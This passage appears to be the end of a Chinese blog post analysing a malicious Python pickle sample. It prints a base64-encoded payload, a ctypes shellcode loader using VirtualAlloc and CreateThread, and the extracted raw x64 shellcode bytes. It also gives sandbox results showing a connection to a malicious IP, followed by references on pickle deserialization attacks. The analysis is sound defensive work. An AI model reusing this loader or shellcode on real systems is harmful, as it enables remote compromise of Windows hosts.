rwyy8YKt2o7SYI4ZuzExe0dRcwmaR7xqCuz6ow1xqxlfMh4+n4xLRYsjILxyML+/1NqxfwEa1TovUZSMCHtCBu7k+OQHK6c2SsKSoI42/SZw+iT9Hi6322xnCjQbPeTpYiQ6ydjTZR1HCiCHPxN/BRTWa7U675EOeho/mgDFd9F3jLRjd7d4SpNo3JJCa/t45p4LIdkxHKcBpFpdIs67apgC5tyjHUzVPtPJ9eY3tkyoBO3KO63pb3C4t4HRurBj1FhhI+ZRBhv/uj0g37u7UiYi1A/qc/y7Zi20zCXngvAUvmFYnc85FzD3qlsvZ7XvpuIYiwKFenLkak7Uc9i314RuxaUQOtR2r95HevLSGm+IXSBJfd/VP0Aio5m/A+0V5jHCRPmw+FekHJgXd9TUvivcuEV4EsjUELcNIp31Zkg1jJMzop9iWbWbClaU/CH2vj5bc2wOFL0SoxylFqAjkwr2mpBz9q5rLpPa+adb9qTlhpNyazShhTKoYK5QJllnfpMbYDRZwdriRZxuCCPW/TcO9nJDmqjYer71v+ChCZd069W8wlTM/6ipgVt+AjE3mKfYLr/GLaKASrpYSrVayWEDV8Jm98+sfoMY8NemHQBpgiS+F4vU2jFcXqzl+NsBmOSm+KWnFjYQ+2f77nNSOhYlthpQDji3rWmaexBsYAOLZjoHMpMJbQf5Ez5n74Qi+I+rkPUJ0kb7SEYbAKkNb+Gx0fi8fl9R7lnouxj32n2nSyNtDPTsg5QNjdvJR3euG5I5boCpp41u4vj89jc9ovPhwYDMtHR0Su01+DYvu4/PQ0wubZTGcOoHlNc/FJFikg3quDTV2qgJ5I3WXh9ln1XEfFG+M3ox39datKXszX4/JgB0wMJWv1mL4JHuiSmGVVfyOg0c2bzvLg8RRBDzAo1JmAsVhX1ByOi3Pfo6nUua1idQilMDWG27J1ILWunboWMEtL7DYHzk01VPs2sONiOdXjDrQwGaIOfvremionO1z5zbVwQJkUpIzuQVPQSo2J7VRy6ADZcLxkEZ2s8tOt+XQqqrVhBd5/vCnyaX8X5benvG2Iu8n63Cd0XWYJ5BAQHU82jApkcTm+zt9Cm0otJOcbnK/PYAGqbqSVPfZCrVTTZJQ7qm1osMv1OzZGJezBQLKl7xY9EERdcYZ1pxKza0VgFmzP+TvDwMWVlWi8lsaw42uF8CLc+bjWXN' + b'=' * (
            len(
                b'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') % 4))).rstrip(
    b'\\0')
print(b)
shellcode = bytearray(b)
print(shellcode)
'''
shellcode = bytearray(b)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
'''

将shellcode 提取,

b'H\x8b\xc4H\x89X\x08H\x89h\x10H\x89p\x18H\x89x AVH\x83\xec eH\x8b\x04%`\x00\x00\x003\xdbH\x8bH\x18H\x8bQ \xebN\x0f\xb7BHL\x8bBP\x8b\xcb\xd1\xe8\x85\xc0~+D\x8b\xc8A\x0f\xb7\x00M\x8d@\x02f\x83\xf8ar\nA\xba\xe0\xff\x00\x00fA\x03\xc2i\xc9\x83\x00\x00\x00\x0f\xb7\xc0\x03\xc8I\xff\xc9u\xd8\x0f\xba\xf1\x1f\x81\xf9\xe6\x9c\xca\x1c\x0f\x84\x97\x00\x00\x00H\x8b\x12H\x85\xd2u\xadH\x8b\xfbE3\xc0\xbaT\xb8\xb9\x1aH\x8b\xcf\xe8\x88\x00\x00\x00\xbab4\x89^H\x8b\xcfL\x8b\xc0\xe8x\x00\x00\x00H\x8d\x15E\x01\x00\x003\xc9\x8b*H\x8dz\x08L\x8dr\x04\x8bt*\x04D\x8dI@A\xb8\x00\x10\x00\x00\x8b\xd6H\x03\xfd\xff\xd0L\x8b\xc8\x85\xf6t L\x8b\xc0H+\xf83\xd2\x8b\xc3\xff\xc3\xf7\xf5B\x8a\x042B2\x04\x07A\x88\x00I\xff\xc0;\xder\xe6H\x8b\\$0H\x8bl$8H\x8bt$@H\x8b|$HH\x83\xc4 A^I\xff\xe1H\x8bz \xe9k\xff\xff\xff\xcc\xcc\xccH\x8b\xc4H\x89X\x08H\x89h\x10H\x89p\x18H\x89x AVH\x83\xec HcA<L\x8b\xc9I\x8b\xd8\x8b\x8c\x08\x88\x00\x00\x00\x8b\xea\x85\xc9tjB\x83\xbc\x08\x8c\x00\x00\x00\x00t_I\x8d\x04\tD\x8bX\x18E\x85\xdbtRD\x8b@ \x8bx\x1c\x8bp$M\x03\xc1I\x03\xf9I\x03\xf13\xd2E\x85\xdbt8E\x8b\x10M\x03\xd13\xc9A\x8a\x02M\x8b\xf2\xeb\x11i\xc9\x83\x00\x00\x00\x0f\xbe\xc0\x03\xc8I\xff\xc6A\x8a\x06\x84\xc0u\xeb\x0f\xba\xf1\x1f;\xcdt(\xff\xc2I\x83\xc0\x04A;\xd3r\xc83\xc0H\x8b\\$0H\x8bl$8H\x8bt$@H\x8b|$HH\x83\xc4 A^\xc3H\x85\xdbu\x0c\x0f\xb7\x0cV\x8b\x04\x8fI\x03\xc1\xeb\xd4I\x8b\xd2I\x8b\xc9\xff\xd3\xeb\xca\xcc\xcc\x13\x00\x00\x00|Q\xa3\x8dI\xd8\x96~ij\xc1\xb1|\x1fX*y/\xf9}\x04\x00\x00\x94U\xa3\x8dI\xa0\xd9)\x123\x892\x907\xb0/y/\xf94\xd2g\xa5\x8a1\xf6\x7fij\x84\x80\xbc.\x98\xc1UI\xf6c\xd5\xa3\x8dI\xd8\x968f\xdd\xcd\xf09\x92\t\xca8\xac\x00\x1c7\xe6\x82\x0f\t\xd2\x17\xa1\xe9\xc1\xb1|^W\x9d\xbbk\xf8\xb4\x18\\M\x08\xe1F\x02\xb1O>N\x83`\x9bL\xe9\x1e9\x97H\xc5\xeb/\xf6\x99a\xedj\xc1\xb1|\x1f1\xea\xfa/\xf9|\x19\\LH\x1a\x1f\xaef\xd4\xd04\xaej\xb4\x0f\x86\xd0\x06\x03\x92\xc5\x82V\x9c\x96~(=\x80\xe7=J\x19~/x\xac/\x19 aq\x95\x1f\xb9(\xe3\x14\xf9\xf5\xd1\x10I7\x13r\xf8_+\x8dI\xd8\xd3O\x9f"Dqs\x9b\xf4*y/\xbcM\xa7 1GT\x96~ij\xce5\xe7\x1fX*\xf2S\xffd\x14\x92{\x01]iq\xed\xe1\xc1\xb1|\x94\x14,e\xa4\x95zq\xeb\x8c\xb8\x90\x1f2MZJ\xf5z;\x10\xa3=\x0b\xd14PV\xc8x.\xa7\xb7\x0f\x0c\xa7\xd7\x1a1W5\xfd/\xf9|Q\xa3\xc4\xc0\x14\xdfG\x95\x19\x95\xf3\xf7C\xfd*1.\n4\xd8zeq\'i\x81 \xe7\x8d\x95}[a\xc2\x0c\xf1\xb5\xf5\xa9\xeb\x08\x89\xac\x8f6\xe0\x9b\x898\xa6W\xdb\xeeAt\xa4#\x0f\xe2\xd1\x08\x85\xd7 (5\x89N\x9cW\xd3n]\x07\xb1}\xa1\xe1\x82\xfe\xdc\xf66\xe2&\xe5\x818\x94l\xab0.\x0f0\xd8S\xc5\xca\x1c\xae%45\x9f\xf0 ^\x05k\'n\xa6\xbf\x10\xf4\xcc\x1f\x99\xc3?=<\x96\xe4/W\xd9\xc6\xc1\'\xf9|\x18*C,\x90\x1dzL\n\xc1\xb1|W\xd3Zagz\xbaq\xe6\xbc\xad\xbe\x99a-j\xc1\xf9\xf7)\x10\xaf\x8f[\xe3s\xe6\xf5\xc5\x982\xde\xf5\':)\xe8\x82\xe0\xa7\x17\x9f\xb33`$A\xc1\xc2\xbe\xb6\xc4=\xd2x\xab9.\x98f\xf0\xce\x11\xd2\xaf\\r\x01QU\xc4\x11u\xe1\xce0\x96\xb9c\xf0\xf7\x11\xe7\xaf\\r\x00QQ\xc3hj\xc1\xb14\x92m\xd6x/\xf9\x97M\xc5\xa3F\xc7\x12~ij\xc1\xb1\xf7\x0boc\xf0\xf7\x11\t\xaf\\r\x01Q\x92I\xea\xaf\xc3<9\xe0\x10\xa1E\xe9\xb1\xf9\xae\xd7\xac\xc00\xde\xf5m\xacx^\xc2\xf2\x86b@\xe7\xb5\xf5\xb0\xd7B\x01\xd9f6\xe0\xab\x80N\xabW\xd1\xeb\x92\xee\xb1\xbbT\x05\x8cI\xd8\x96~ij\x80:bZi\xdcH\xe6C|Q\xb3\x8d\x08`\x96nij\x80\x08<\x1fX*\x86:\xae}Q\xa3\xc5\xc0\x1dik?k\xc1\xb14\x96\x9ef\xf4\x83\xdd,U\xa3\x8d\x01U\xeaZ9"H\xddXW\x11\xa3\x96\xc4\xed\xc5a\xd6\x8dI\'\x837hj\xc1\xfd\xf7c|b<\x1e\x0f\xec\x96\xe7\xa9\x19&\\\x80\xa3.H\xc5XK\x9en]w\xf8=\xaee\xbc\xa43\x9fqv\xea\xc1\xb1|\x1f\xa7\xef\xfa\xd2\xfc\x03\x94\xc5\x82V\\\x96~ij\xc1\xfd\xf5s|\x02\xbek\xddD\xd9\xb0\x8dI\x1f\xd2ZY\x08\xc5\xb1|W\x9fn]\x0f\xf9|Q\xa3\xcc\xf0\xd8\x92~i"H@\xf5\xc5\x11\xa3\x81\xd0\xec\xb2Q\xa3\x8d\xca \x97\x0b\xd0\xe9}\x95(\x1bX*yZF4\xda7\xa9)\xdc\x96~)\xe0\xeb\xf9\x83\xddW\x9d\xfd\x0b\xa5xQ\xa34\xa6f{\xa0-\xe7e\xb9l^J\x0b5\xa6\x001\xd8Cr\\@\x96~i\'\xc0V<\x9f\xa5+v\xaa\xaa\x83\xae\\\xc5\xc0)ik\xfbj\xc1\xb1\xbb[|i\xa7\xd05\xf3\x97\xe7\xa9\x0eB\xde\xf55N\x89\xf8U\xc0i\xe31\x924\xb0\x9doA\x85\x14Z\x95Oe\xde1|\x1fX*1\xa614\xa6F\xc5\x882\x946\xe4nS\xf9\xf5\xd5\x10\x03\xbb O8E\xe0\xbdM\xd3\xde\x81\xa8&\xf8H\x00\xc3\xa7\xf9\xe9gx\xb8\xe9\xab\x8dI\x83\xcb!7+\x9d\xf0!^\x06k&\xec\xf6c\x15\xa3\x8d+\xec\x1f ij\xc1\xb1Y\x95\xe1^y/\xf9|{\xbd\xd6d\xd8\x96~iE\xfeCn\x1fX*y|y\xf9n\xa3\x8dI\xd8\xa5`\x8f\x03\xc1\xb1|\x1f\x88\xd5\x86\xd0\x06\x83\xae\\b\xf75H~ij\xc1i\x83\xe0\xa7\xd5\x86\xd0\x06\x14Q\xa3\x8dI\xd8\x96~\x89\x95>N\x83\xe0\xa7\xd5\x11/\xf9|Q\xa3\x8dI0i\x81\x96\x95>N\x83jX*y/\xf9|QSr\xb6\'i\x81\x96\x95.\x0f\x91\xc1X*y/\x01\x83\xae\\r\xb6\'i\x16ij\xc1\xb1|\x1fX*y/\xf9|Q\xa3\x8d\x00\x88\xde29+\x91\xf8R[\x14fyB\x8a\n2\xd1\xf9g\xbc\xfa\x12i\x00\x00\x00\x00\x00\x00\x00\x00'

放在shellcode loadaer 里编译成 exe。

丢到沙箱里跑:

https://s.threatbook.com/report/file/404b267a4825585d15b3ec77e82cc67fb1cf5d719abf098ba632969a254d8b74

显示请求了恶意ip  120.79.87.123。

到这里基本上就分析完成了,剩下的就是二进制逆向了,对于我们的研究方向来说不是很重要。 

后续感兴趣的可以用x64dbg调试:

reference

pickle --- Python 对象序列化 — Python 3.10.5 文档

pickle反序列化初探 - 先知社区

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎

python - What's the exact usage of __reduce__ in Pickler - Stack Overflow

Pickler中__reduce__的确切用法是什么? |

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值